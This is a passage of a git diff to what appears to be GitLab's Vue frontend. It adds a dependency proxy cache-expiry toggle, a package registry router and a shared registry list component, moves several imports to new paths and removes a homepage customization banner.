+</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/router.js b/app/assets/javascripts/packages_and_registries/package_registry/router.js
new file mode 100644
index 00000000000..ea5b740e879
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/package_registry/router.js
@@ -0,0 +1,21 @@
+import Vue from 'vue';
+import VueRouter from 'vue-router';
+import List from '~/packages_and_registries/package_registry/pages/list.vue';
+
+Vue.use(VueRouter);
+
+export default function createRouter(base) {
+ const router = new VueRouter({
+ base,
+ mode: 'history',
+ routes: [
+ {
+ name: 'list',
+ path: '/',
+ component: List,
+ },
+ ],
+ });
+
+ return router;
+}
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/bundle.js b/app/assets/javascripts/packages_and_registries/settings/group/bundle.js
index 9b5a0d221b8..85a7aeb5561 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/bundle.js
+++ b/app/assets/javascripts/packages_and_registries/settings/group/bundle.js
@@ -18,9 +18,10 @@ export default () => {
el,
apolloProvider,
provide: {
+ groupPath: el.dataset.groupPath,
+ groupDependencyProxyPath: el.dataset.groupDependencyProxyPath,
defaultExpanded: parseBoolean(el.dataset.defaultExpanded),
dependencyProxyAvailable: parseBoolean(el.dataset.dependencyProxyAvailable),
- groupPath: el.dataset.groupPath,
},
render(createElement) {
return createElement(SettingsApp);
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/components/dependency_proxy_settings.vue b/app/assets/javascripts/packages_and_registries/settings/group/components/dependency_proxy_settings.vue
index 5815c6393a7..fd62fe144b2 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/components/dependency_proxy_settings.vue
+++ b/app/assets/javascripts/packages_and_registries/settings/group/components/dependency_proxy_settings.vue
@@ -2,9 +2,14 @@
import { GlToggle, GlSprintf, GlLink } from '@gitlab/ui';
import { s__ } from '~/locale';
import SettingsBlock from '~/vue_shared/components/settings/settings_block.vue';
+import SettingsTitles from '~/packages_and_registries/settings/group/components/settings_titles.vue';
import updateDependencyProxySettings from '~/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_settings.mutation.graphql';
+import updateDependencyProxyImageTtlGroupPolicy from '~/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_image_ttl_group_policy.mutation.graphql';
import { updateGroupPackageSettings } from '~/packages_and_registries/settings/group/graphql/utils/cache_update';
-import { updateGroupDependencyProxySettingsOptimisticResponse } from '~/packages_and_registries/settings/group/graphql/utils/optimistic_responses';
+import {
+ updateGroupDependencyProxySettingsOptimisticResponse,
+ updateDependencyProxyImageTtlGroupPolicyOptimisticResponse,
+} from '~/packages_and_registries/settings/group/graphql/utils/optimistic_responses';
import {
DEPENDENCY_PROXY_HEADER,
@@ -19,21 +24,34 @@ export default {
GlSprintf,
GlLink,
SettingsBlock,
+ SettingsTitles,
},
i18n: {
DEPENDENCY_PROXY_HEADER,
DEPENDENCY_PROXY_SETTINGS_DESCRIPTION,
- label: s__('DependencyProxy|Enable Proxy'),
+ enabledProxyLabel: s__('DependencyProxy|Enable Dependency Proxy'),
+ enabledProxyHelpText: s__(
+ 'DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}',
+ ),
+ storageSettingsTitle: s__('DependencyProxy|Storage settings'),
+ ttlPolicyEnabledLabel: s__('DependencyProxy|Clear the Dependency Proxy cache automatically'),
+ ttlPolicyEnabledHelpText: s__(
+ 'DependencyProxy|When enabled, images older than 90 days will be removed from the cache.',
+ ),
},
links: {
DEPENDENCY_PROXY_DOCS_PATH,
},
- inject: ['defaultExpanded', 'groupPath'],
+ inject: ['defaultExpanded', 'groupPath', 'groupDependencyProxyPath'],
props: {
dependencyProxySettings: {
type: Object,
required: true,
},
+ dependencyProxyImageTtlPolicy: {
+ type: Object,
+ required: true,
+ },
isLoading: {
type: Boolean,
required: false,
@@ -49,26 +67,35 @@ export default {
this.updateSettings({ enabled });
},
},
+ ttlEnabled: {
+ get() {
+ return this.dependencyProxyImageTtlPolicy.enabled;
+ },
+ set(enabled) {
+ const payload = {
+ enabled,
+ ttl: 90, // hardocded TTL for the MVC version
+ };
+ this.updateDependencyProxyImageTtlGroupPolicy(payload);
+ },
+ },
+ helpText() {
+ return this.enabled ? this.$options.i18n.enabledProxyHelpText : '';
+ },
},
methods: {
- async updateSettings(payload) {
+ mutationVariables(payload) {
+ return {
+ input: {
+ groupPath: this.groupPath,
+ ...payload,
+ },
+ };
+ },
+ async executeMutation(config, resource) {
try {
- const { data } = await this.$apollo.mutate({
- mutation: updateDependencyProxySettings,
- variables: {
- input: {
- groupPath: this.groupPath,
- ...payload,
- },
- },
- update: updateGroupPackageSettings(this.groupPath),
- optimisticResponse: updateGroupDependencyProxySettingsOptimisticResponse({
- ...this.dependencyProxySettings,
- ...payload,
- }),
- });
-
- if (data.updateDependencyProxySettings?.errors?.length > 0) {
+ const { data } = await this.$apollo.mutate(config);
+ if (data[resource]?.errors.length > 0) {
throw new Error();
} else {
this.$emit('success');
@@ -77,6 +104,32 @@ export default {
this.$emit('error');
}
},
+ async updateSettings(payload) {
+ const apolloConfig = {
+ mutation: updateDependencyProxySettings,
+ variables: this.mutationVariables(payload),
+ update: updateGroupPackageSettings(this.groupPath),
+ optimisticResponse: updateGroupDependencyProxySettingsOptimisticResponse({
+ ...this.dependencyProxySettings,
+ ...payload,
+ }),
+ };
+
+ this.executeMutation(apolloConfig, 'updateDependencyProxySettings');
+ },
+ async updateDependencyProxyImageTtlGroupPolicy(payload) {
+ const apolloConfig = {
+ mutation: updateDependencyProxyImageTtlGroupPolicy,
+ variables: this.mutationVariables(payload),
+ update: updateGroupPackageSettings(this.groupPath),
+ optimisticResponse: updateDependencyProxyImageTtlGroupPolicyOptimisticResponse({
+ ...this.dependencyProxyImageTtlPolicy,
+ ...payload,
+ }),
+ };
+
+ this.executeMutation(apolloConfig, 'updateDependencyProxyImageTtlGroupPolicy');
+ },
},
};
</script>
@@ -91,7 +144,11 @@ export default {
<span data-testid="description">
<gl-sprintf :message="$options.i18n.DEPENDENCY_PROXY_SETTINGS_DESCRIPTION">
<template #docLink="{ content }">
- <gl-link :href="$options.links.DEPENDENCY_PROXY_DOCS_PATH">{{ content }}</gl-link>
+ <gl-link
+ data-testid="description-link"
+ :href="$options.links.DEPENDENCY_PROXY_DOCS_PATH"
+ >{{ content }}</gl-link
+ >
</template>
</gl-sprintf>
</span>
@@ -101,9 +158,31 @@ export default {
<gl-toggle
v-model="enabled"
:disabled="isLoading"
- :label="$options.i18n.label"
+ :label="$options.i18n.enabledProxyLabel"
+ :help="helpText"
data-qa-selector="dependency_proxy_setting_toggle"
data-testid="dependency-proxy-setting-toggle"
+ >
+ <template #help>
+ <span class="gl-overflow-break-word gl-max-w-100vw gl-display-inline-block">
+ <gl-sprintf :message="$options.i18n.enabledProxyHelpText">
+ <template #link="{ content }">
+ <gl-link data-testid="toggle-help-link" :href="groupDependencyProxyPath">{{
+ content
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </span>
+ </template>
+ </gl-toggle>
+
+ <settings-titles :title="$options.i18n.storageSettingsTitle" class="gl-my-6" />
+ <gl-toggle
+ v-model="ttlEnabled"
+ :disabled="isLoading"
+ :label="$options.i18n.ttlPolicyEnabledLabel"
+ :help="$options.i18n.ttlPolicyEnabledHelpText"
+ data-testid="dependency-proxy-ttl-policies-toggle"
/>
</div>
</template>
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue b/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue
index b45cedcdd66..64c12b4be6a 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue
+++ b/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue
@@ -37,6 +37,9 @@ export default {
dependencyProxySettings() {
return this.group?.dependencyProxySetting || {};
},
+ dependencyProxyImageTtlPolicy() {
+ return this.group?.dependencyProxyImageTtlPolicy || {};
+ },
isLoading() {
return this.$apollo.queries.group.loading;
},
@@ -82,6 +85,7 @@ export default {
<dependency-proxy-settings
v-if="dependencyProxyAvailable"
:dependency-proxy-settings="dependencyProxySettings"
+ :dependency-proxy-image-ttl-policy="dependencyProxyImageTtlPolicy"
:is-loading="isLoading"
@success="handleSuccess"
@error="handleError"
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/components/settings_titles.vue b/app/assets/javascripts/packages_and_registries/settings/group/components/settings_titles.vue
index 3f0ab7686e5..1e93875c1e3 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/components/settings_titles.vue
+++ b/app/assets/javascripts/packages_and_registries/settings/group/components/settings_titles.vue
@@ -8,7 +8,8 @@ export default {
},
subTitle: {
type: String,
- required: true,
+ required: false,
+ default: '',
},
},
};
@@ -16,10 +17,10 @@ export default {
<template>
<div>
- <h5 class="gl-border-b-solid gl-border-b-1 gl-border-gray-200">
+ <h5 class="gl-border-b-solid gl-border-b-1 gl-border-gray-200 gl-pb-3">
{{ title }}
</h5>
- <p>{{ subTitle }}</p>
+ <p v-if="subTitle">{{ subTitle }}</p>
<slot></slot>
</div>
</template>
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_image_ttl_group_policy.mutation.graphql b/app/assets/javascripts/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_image_ttl_group_policy.mutation.graphql
new file mode 100644
index 00000000000..81250f52dfb
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_image_ttl_group_policy.mutation.graphql
@@ -0,0 +1,11 @@
+mutation updateDependencyProxyImageTtlGroupPolicy(
+ $input: UpdateDependencyProxyImageTtlGroupPolicyInput!
+) {
+ updateDependencyProxyImageTtlGroupPolicy(input: $input) {
+ dependencyProxyImageTtlPolicy {
+ enabled
+ ttl
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/graphql/queries/get_group_packages_settings.query.graphql b/app/assets/javascripts/packages_and_registries/settings/group/graphql/queries/get_group_packages_settings.query.graphql
index d3edebfbe20..404d9d26d49 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/graphql/queries/get_group_packages_settings.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/settings/group/graphql/queries/get_group_packages_settings.query.graphql
@@ -1,8 +1,13 @@
query getGroupPackagesSettings($fullPath: ID!) {
group(fullPath: $fullPath) {
+ id
dependencyProxySetting {
enabled
}
+ dependencyProxyImageTtlPolicy {
+ ttl
+ enabled
+ }
packageSettings {
mavenDuplicatesAllowed
mavenDuplicateExceptionRegex
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/cache_update.js b/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/cache_update.js
index fe94203f51b..c7b0899fa4c 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/cache_update.js
+++ b/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/cache_update.js
@@ -19,6 +19,11 @@ export const updateGroupPackageSettings = (fullPath) => (client, { data: updated
...updatedData.updateDependencyProxySettings.dependencyProxySetting,
};
}
+ if (updatedData.updateDependencyProxyImageTtlGroupPolicy) {
+ draftState.group.dependencyProxyImageTtlPolicy = {
+ ...updatedData.updateDependencyProxyImageTtlGroupPolicy.dependencyProxyImageTtlPolicy,
+ };
+ }
});
client.writeQuery({
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/optimistic_responses.js b/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/optimistic_responses.js
index a30d8ca0b81..92f6e117911 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/optimistic_responses.js
+++ b/app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/optimistic_responses.js
@@ -21,3 +21,15 @@ export const updateGroupDependencyProxySettingsOptimisticResponse = (changes) =>
},
},
});
+
+export const updateDependencyProxyImageTtlGroupPolicyOptimisticResponse = (changes) => ({
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ __typename: 'Mutation',
+ updateDependencyProxyImageTtlGroupPolicy: {
+ __typename: 'UpdateDependencyProxyImageTtlGroupPolicyPayload',
+ errors: [],
+ dependencyProxyImageTtlPolicy: {
+ ...changes,
+ },
+ },
+});
diff --git a/app/assets/javascripts/packages_and_registries/settings/project/graphql/queries/get_expiration_policy.query.graphql b/app/assets/javascripts/packages_and_registries/settings/project/graphql/queries/get_expiration_policy.query.graphql
index c171be0ad07..6a862da92df 100644
--- a/app/assets/javascripts/packages_and_registries/settings/project/graphql/queries/get_expiration_policy.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/settings/project/graphql/queries/get_expiration_policy.query.graphql
@@ -2,6 +2,7 @@
query getProjectExpirationPolicy($projectPath: ID!) {
project(fullPath: $projectPath) {
+ id
containerExpirationPolicy {
...ContainerExpirationPolicyFields
}
diff --git a/app/assets/javascripts/packages/shared/components/package_icon_and_name.vue b/app/assets/javascripts/packages_and_registries/shared/components/package_icon_and_name.vue
index 105f7bbe132..105f7bbe132 100644
--- a/app/assets/javascripts/packages/shared/components/package_icon_and_name.vue
+++ b/app/assets/javascripts/packages_and_registries/shared/components/package_icon_and_name.vue
diff --git a/app/assets/javascripts/packages/shared/components/package_path.vue b/app/assets/javascripts/packages_and_registries/shared/components/package_path.vue
index 6fb001e5e92..6fb001e5e92 100644
--- a/app/assets/javascripts/packages/shared/components/package_path.vue
+++ b/app/assets/javascripts/packages_and_registries/shared/components/package_path.vue
diff --git a/app/assets/javascripts/packages/shared/components/package_tags.vue b/app/assets/javascripts/packages_and_registries/shared/components/package_tags.vue
index 5ec950e4d45..5ec950e4d45 100644
--- a/app/assets/javascripts/packages/shared/components/package_tags.vue
+++ b/app/assets/javascripts/packages_and_registries/shared/components/package_tags.vue
diff --git a/app/assets/javascripts/packages/shared/components/packages_list_loader.vue b/app/assets/javascripts/packages_and_registries/shared/components/packages_list_loader.vue
index cf555f46f8c..cf555f46f8c 100644
--- a/app/assets/javascripts/packages/shared/components/packages_list_loader.vue
+++ b/app/assets/javascripts/packages_and_registries/shared/components/packages_list_loader.vue
diff --git a/app/assets/javascripts/packages/shared/components/publish_method.vue b/app/assets/javascripts/packages_and_registries/shared/components/publish_method.vue
index 8a66a33f2ab..8a66a33f2ab 100644
--- a/app/assets/javascripts/packages/shared/components/publish_method.vue
+++ b/app/assets/javascripts/packages_and_registries/shared/components/publish_method.vue
diff --git a/app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue b/app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue
new file mode 100644
index 00000000000..79381f82009
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue
@@ -0,0 +1,124 @@
+<script>
+import { GlButton, GlFormCheckbox, GlKeysetPagination } from '@gitlab/ui';
+import { filter } from 'lodash';
+import { __ } from '~/locale';
+
+export default {
+ name: 'RegistryList',
+ components: {
+ GlButton,
+ GlFormCheckbox,
+ GlKeysetPagination,
+ },
+ props: {
+ title: {
+ type: String,
+ required: true,
+ },
+ isLoading: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ hiddenDelete: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ pagination: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ items: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ idProperty: {
+ type: String,
+ required: false,
+ default: 'id',
+ },
+ },
+ data() {
+ return {
+ selectedReferences: {},
+ };
+ },
+ computed: {
+ showPagination() {
+ return this.pagination.hasPreviousPage || this.pagination.hasNextPage;
+ },
+ disableDeleteButton() {
+ return this.isLoading || filter(this.selectedReferences).length === 0;
+ },
+ selectedItems() {
+ return this.items.filter(this.isSelected);
+ },
+ selectAll: {
+ get() {
+ return this.items.every(this.isSelected);
+ },
+ set(value) {
+ this.items.forEach((item) => {
+ const id = item[this.idProperty];
+ this.$set(this.selectedReferences, id, value);
+ });
+ },
+ },
+ },
+ methods: {
+ selectItem(item) {
+ const id = item[this.idProperty];
+ this.$set(this.selectedReferences, id, !this.selectedReferences[id]);
+ },
+ isSelected(item) {
+ const id = item[this.idProperty];
+ return this.selectedReferences[id];
+ },
+ },
+ i18n: {
+ deleteSelected: __('Delete Selected'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <div class="gl-display-flex gl-justify-content-space-between gl-mb-3 gl-align-items-center">
+ <gl-form-checkbox v-if="!hiddenDelete" v-model="selectAll" class="gl-ml-2 gl-pt-2">
+ <span class="gl-font-weight-bold">{{ title }}</span>
+ </gl-form-checkbox>
+
+ <gl-button
+ v-if="!hiddenDelete"
+ :disabled="disableDeleteButton"
+ category="secondary"
+ variant="danger"
+ @click="$emit('delete', selectedItems)"
+ >
+ {{ $options.i18n.deleteSelected }}
+ </gl-button>
+ </div>
+
+ <div v-for="(item, index) in items" :key="index">
+ <slot
+ :select-item="selectItem"
+ :is-selected="isSelected"
+ :item="item"
+ :first="index === 0"
+ ></slot>
+ </div>
+
+ <div class="gl-display-flex gl-justify-content-center">
+ <gl-keyset-pagination
+ v-if="showPagination"
+ v-bind="pagination"
+ class="gl-mt-3"
+ @prev="$emit('prev-page')"
+ @next="$emit('next-page')"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/shared/constants.js b/app/assets/javascripts/packages_and_registries/shared/constants.js
index 7d2971bd8c7..afc72a2c627 100644
--- a/app/assets/javascripts/packages_and_registries/shared/constants.js
+++ b/app/assets/javascripts/packages_and_registries/shared/constants.js
@@ -1,3 +1,39 @@
+import { s__ } from '~/locale';
+
export const FILTERED_SEARCH_TERM = 'filtered-search-term';
export const FILTERED_SEARCH_TYPE = 'type';
export const HISTORY_PIPELINES_LIMIT = 5;
+
+export const DELETE_PACKAGE_TRACKING_ACTION = 'delete_package';
+export const REQUEST_DELETE_PACKAGE_TRACKING_ACTION = 'request_delete_package';
+export const CANCEL_DELETE_PACKAGE_TRACKING_ACTION = 'cancel_delete_package';
+export const PULL_PACKAGE_TRACKING_ACTION = 'pull_package';
+export const DELETE_PACKAGE_FILE_TRACKING_ACTION = 'delete_package_file';
+export const REQUEST_DELETE_PACKAGE_FILE_TRACKING_ACTION = 'request_delete_package_file';
+export const CANCEL_DELETE_PACKAGE_FILE_TRACKING_ACTION = 'cancel_delete_package_file';
+
+export const TRACKING_ACTIONS = {
+ DELETE_PACKAGE: DELETE_PACKAGE_TRACKING_ACTION,
+ REQUEST_DELETE_PACKAGE: REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
+ CANCEL_DELETE_PACKAGE: CANCEL_DELETE_PACKAGE_TRACKING_ACTION,
+ PULL_PACKAGE: PULL_PACKAGE_TRACKING_ACTION,
+ DELETE_PACKAGE_FILE: DELETE_PACKAGE_FILE_TRACKING_ACTION,
+ REQUEST_DELETE_PACKAGE_FILE: REQUEST_DELETE_PACKAGE_FILE_TRACKING_ACTION,
+ CANCEL_DELETE_PACKAGE_FILE: CANCEL_DELETE_PACKAGE_FILE_TRACKING_ACTION,
+};
+
+export const SHOW_DELETE_SUCCESS_ALERT = 'showSuccessDeleteAlert';
+export const DELETE_PACKAGE_ERROR_MESSAGE = s__(
+ 'PackageRegistry|Something went wrong while deleting the package.',
+);
+export const DELETE_PACKAGE_FILE_ERROR_MESSAGE = s__(
+ 'PackageRegistry|Something went wrong while deleting the package file.',
+);
+export const DELETE_PACKAGE_FILE_SUCCESS_MESSAGE = s__(
+ 'PackageRegistry|Package file deleted successfully',
+);
+
+export const PACKAGE_ERROR_STATUS = 'error';
+export const PACKAGE_DEFAULT_STATUS = 'default';
+export const PACKAGE_HIDDEN_STATUS = 'hidden';
+export const PACKAGE_PROCESSING_STATUS = 'processing';
diff --git a/app/assets/javascripts/packages_and_registries/shared/utils.js b/app/assets/javascripts/packages_and_registries/shared/utils.js
index 93eb90535d1..cf18f655e79 100644
--- a/app/assets/javascripts/packages_and_registries/shared/utils.js
+++ b/app/assets/javascripts/packages_and_registries/shared/utils.js
@@ -28,3 +28,13 @@ export const extractFilterAndSorting = (queryObject) => {
}
return { filters, sorting };
};
+
+export const beautifyPath = (path) => (path ? path.split('/').join(' / ') : '');
+
+export const getCommitLink = ({ project_path: projectPath, pipeline = {} }, isGroup = false) => {
+ if (isGroup) {
+ return `/${projectPath}/commit/${pipeline.sha}`;
+ }
+
+ return `../commit/${pipeline.sha}`;
+};
diff --git a/app/assets/javascripts/pages/admin/integrations/edit/index.js b/app/assets/javascripts/pages/admin/integrations/edit/index.js
index 8002fa8bf78..8485b460261 100644
--- a/app/assets/javascripts/pages/admin/integrations/edit/index.js
+++ b/app/assets/javascripts/pages/admin/integrations/edit/index.js
@@ -1,15 +1,11 @@
-import IntegrationSettingsForm from '~/integrations/integration_settings_form';
+import initIntegrationSettingsForm from '~/integrations/edit';
import PrometheusMetrics from '~/prometheus_metrics/prometheus_metrics';
-function initIntegrations() {
- const prometheusSettingsWrapper = document.querySelector('.js-prometheus-metrics-monitoring');
- const integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
- integrationSettingsForm.init();
+initIntegrationSettingsForm('.js-integration-settings-form');
- if (prometheusSettingsWrapper) {
- const prometheusMetrics = new PrometheusMetrics('.js-prometheus-metrics-monitoring');
- prometheusMetrics.loadActiveMetrics();
- }
+const prometheusSettingsSelector = '.js-prometheus-metrics-monitoring';
+const prometheusSettingsWrapper = document.querySelector(prometheusSettingsSelector);
+if (prometheusSettingsWrapper) {
+ const prometheusMetrics = new PrometheusMetrics(prometheusSettingsSelector);
+ prometheusMetrics.loadActiveMetrics();
}
-
-initIntegrations();
diff --git a/app/assets/javascripts/pages/admin/labels/edit/index.js b/app/assets/javascripts/pages/admin/labels/edit/index.js
index f7c25347e75..a3b9c43388a 100644
--- a/app/assets/javascripts/pages/admin/labels/edit/index.js
+++ b/app/assets/javascripts/pages/admin/labels/edit/index.js
@@ -1,3 +1,3 @@
-import Labels from '../../../../labels';
+import Labels from '~/labels/labels';
new Labels(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/admin/labels/index/index.js b/app/assets/javascripts/pages/admin/labels/index/index.js
index 0ceab3b922f..132fe5ce8fc 100644
--- a/app/assets/javascripts/pages/admin/labels/index/index.js
+++ b/app/assets/javascripts/pages/admin/labels/index/index.js
@@ -1,23 +1,3 @@
-function initLabels() {
- const pagination = document.querySelector('.labels .gl-pagination');
- const emptyState = document.querySelector('.labels .nothing-here-block.hidden');
+import { initAdminLabels } from '~/labels';
- function removeLabelSuccessCallback() {
- this.closest('li').classList.add('gl-display-none!');
-
- const labelsCount = document.querySelectorAll(
- 'ul.manage-labels-list li:not(.gl-display-none\\!)',
- ).length;
-
- // display the empty state if there are no more labels
- if (labelsCount < 1 && !pagination && emptyState) {
- emptyState.classList.remove('hidden');
- }
- }
-
- document.querySelectorAll('.js-remove-label').forEach((row) => {
- row.addEventListener('ajax:success', removeLabelSuccessCallback);
- });
-}
-
-initLabels();
+initAdminLabels();
diff --git a/app/assets/javascripts/pages/admin/labels/new/index.js b/app/assets/javascripts/pages/admin/labels/new/index.js
index f7c25347e75..a3b9c43388a 100644
--- a/app/assets/javascripts/pages/admin/labels/new/index.js
+++ b/app/assets/javascripts/pages/admin/labels/new/index.js
@@ -1,3 +1,3 @@
-import Labels from '../../../../labels';
+import Labels from '~/labels/labels';
new Labels(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/admin/services/edit/index.js b/app/assets/javascripts/pages/admin/services/edit/index.js
deleted file mode 100644
index b8080ddff77..00000000000
--- a/app/assets/javascripts/pages/admin/services/edit/index.js
+++ /dev/null
@@ -1,4 +0,0 @@
-import IntegrationSettingsForm from '~/integrations/integration_settings_form';
-
-const integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
-integrationSettingsForm.init();
diff --git a/app/assets/javascripts/pages/admin/services/index/index.js b/app/assets/javascripts/pages/admin/services/index/index.js
deleted file mode 100644
index b695cf70c5d..00000000000
--- a/app/assets/javascripts/pages/admin/services/index/index.js
+++ /dev/null
@@ -1,4 +0,0 @@
-import PersistentUserCallout from '~/persistent_user_callout';
-
-const callout = document.querySelector('.js-service-templates-deprecated');
-PersistentUserCallout.factory(callout);
diff --git a/app/assets/javascripts/pages/constants.js b/app/assets/javascripts/pages/constants.js
deleted file mode 100644
index a9773807212..00000000000
--- a/app/assets/javascripts/pages/constants.js
+++ /dev/null
@@ -1,6 +0,0 @@
-export const FILTERED_SEARCH = {
- MERGE_REQUESTS: 'merge_requests',
- ISSUES: 'issues',
- ADMIN_RUNNERS: 'admin/runners',
- GROUP_RUNNERS_ANCHOR: 'runners-settings',
-};
diff --git a/app/assets/javascripts/pages/dashboard/issues/index.js b/app/assets/javascripts/pages/dashboard/issues/index.js
index 3e09b1796b1..d0903ad53bc 100644
--- a/app/assets/javascripts/pages/dashboard/issues/index.js
+++ b/app/assets/javascripts/pages/dashboard/issues/index.js
@@ -1,6 +1,6 @@
import IssuableFilteredSearchTokenKeys from '~/filtered_search/issuable_filtered_search_token_keys';
-import initManualOrdering from '~/manual_ordering';
-import { FILTERED_SEARCH } from '~/pages/constants';
+import initManualOrdering from '~/issues/manual_ordering';
+import { FILTERED_SEARCH } from '~/filtered_search/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import projectSelect from '~/project_select';
diff --git a/app/assets/javascripts/pages/dashboard/merge_requests/index.js b/app/assets/javascripts/pages/dashboard/merge_requests/index.js
index 6c134e4fad6..1350837476b 100644
--- a/app/assets/javascripts/pages/dashboard/merge_requests/index.js
+++ b/app/assets/javascripts/pages/dashboard/merge_requests/index.js
@@ -1,6 +1,6 @@
import addExtraTokensForMergeRequests from 'ee_else_ce/filtered_search/add_extra_tokens_for_merge_requests';
import IssuableFilteredSearchTokenKeys from '~/filtered_search/issuable_filtered_search_token_keys';
-import { FILTERED_SEARCH } from '~/pages/constants';
+import { FILTERED_SEARCH } from '~/filtered_search/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import projectSelect from '~/project_select';
diff --git a/app/assets/javascripts/pages/dashboard/milestones/show/index.js b/app/assets/javascripts/pages/dashboard/milestones/show/index.js
index 1f3e458fe17..d1ff7ec336c 100644
--- a/app/assets/javascripts/pages/dashboard/milestones/show/index.js
+++ b/app/assets/javascripts/pages/dashboard/milestones/show/index.js
@@ -1,4 +1,4 @@
-import Milestone from '~/milestone';
+import Milestone from '~/milestones/milestone';
import Sidebar from '~/right_sidebar';
import MountMilestoneSidebar from '~/sidebar/mount_milestone_sidebar';
diff --git a/app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue b/app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue
deleted file mode 100644
index 99461475af0..00000000000
--- a/app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue
+++ /dev/null
@@ -1,102 +0,0 @@
-<script>
-import { GlBanner } from '@gitlab/ui';
-import axios from '~/lib/utils/axios_utils';
-import { s__ } from '~/locale';
-import Tracking from '~/tracking';
-
-const trackingMixin = Tracking.mixin();
-
-export default {
- components: {
- GlBanner,
- },
- mixins: [trackingMixin],
- inject: {
- svgPath: {
- default: '',
- },
- preferencesBehaviorPath: {
- default: '',
- },
- calloutsPath: {
- default: '',
- },
- calloutsFeatureId: {
- default: '',
- },
- trackLabel: {
- default: '',
- },
- },
- i18n: {
- title: s__('CustomizeHomepageBanner|Do you want to customize this page?'),
- body: s__(
- 'CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects\' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under "Homepage content" in your preferences',
- ),
- button_text: s__('CustomizeHomepageBanner|Go to preferences'),
- },
- data() {
- return {
- visible: true,
- tracking: {
- label: this.trackLabel,
- },
- };
- },
- created() {
- this.$nextTick(() => {
- this.addTrackingAttributesToButton();
- });
- },
- mounted() {
- this.trackOnShow();
- },
- methods: {
- handleClose() {
- axios
- .post(this.calloutsPath, {
- feature_name: this.calloutsFeatureId,
- })
- .catch((e) => {
- // eslint-disable-next-line @gitlab/require-i18n-strings, no-console
- console.error('Failed to dismiss banner.', e);
- });
-
- this.visible = false;
- this.track('click_dismiss');
- },
- trackOnShow() {
- if (this.visible) this.track('show_home_page_banner');
- },
- addTrackingAttributesToButton() {
- // we can't directly add these on the button like we need to due to
- // button not being modifiable currently
- // https://gitlab.com/gitlab-org/gitlab-ui/-/blob/9209ec424e5cca14bc8a1b5c9fa12636d8c83dad/src/components/base/banner/banner.vue#L60
- const button = this.$refs.banner.$el.querySelector(
- `[href='${this.preferencesBehaviorPath}']`,
- );
-
- if (button) {
- button.setAttribute('data-track-action', 'click_go_to_preferences');
- button.setAttribute('data-track-label', this.trackLabel);
- }
- },
- },
-};
-</script>
-
-<template>
- <gl-banner
- v-if="visible"
- ref="banner"
- :title="$options.i18n.title"
- :button-text="$options.i18n.button_text"
- :button-link="preferencesBehaviorPath"
- :svg-path="svgPath"
- @close="handleClose"
- >
- <p>
- {{ $options.i18n.body }}
- </p>
- </gl-banner>
-</template>
diff --git a/app/assets/javascripts/pages/dashboard/projects/index/index.js b/app/assets/javascripts/pages/dashboard/projects/index/index.js
index c34d15b869a..6c9378b7231 100644
--- a/app/assets/javascripts/pages/dashboard/projects/index/index.js
+++ b/app/assets/javascripts/pages/dashboard/projects/index/index.js
@@ -1,5 +1,3 @@
import ProjectsList from '~/projects_list';
-import initCustomizeHomepageBanner from './init_customize_homepage_banner';
new ProjectsList(); // eslint-disable-line no-new
-initCustomizeHomepageBanner();
diff --git a/app/assets/javascripts/pages/dashboard/projects/index/init_customize_homepage_banner.js b/app/assets/javascripts/pages/dashboard/projects/index/init_customize_homepage_banner.js
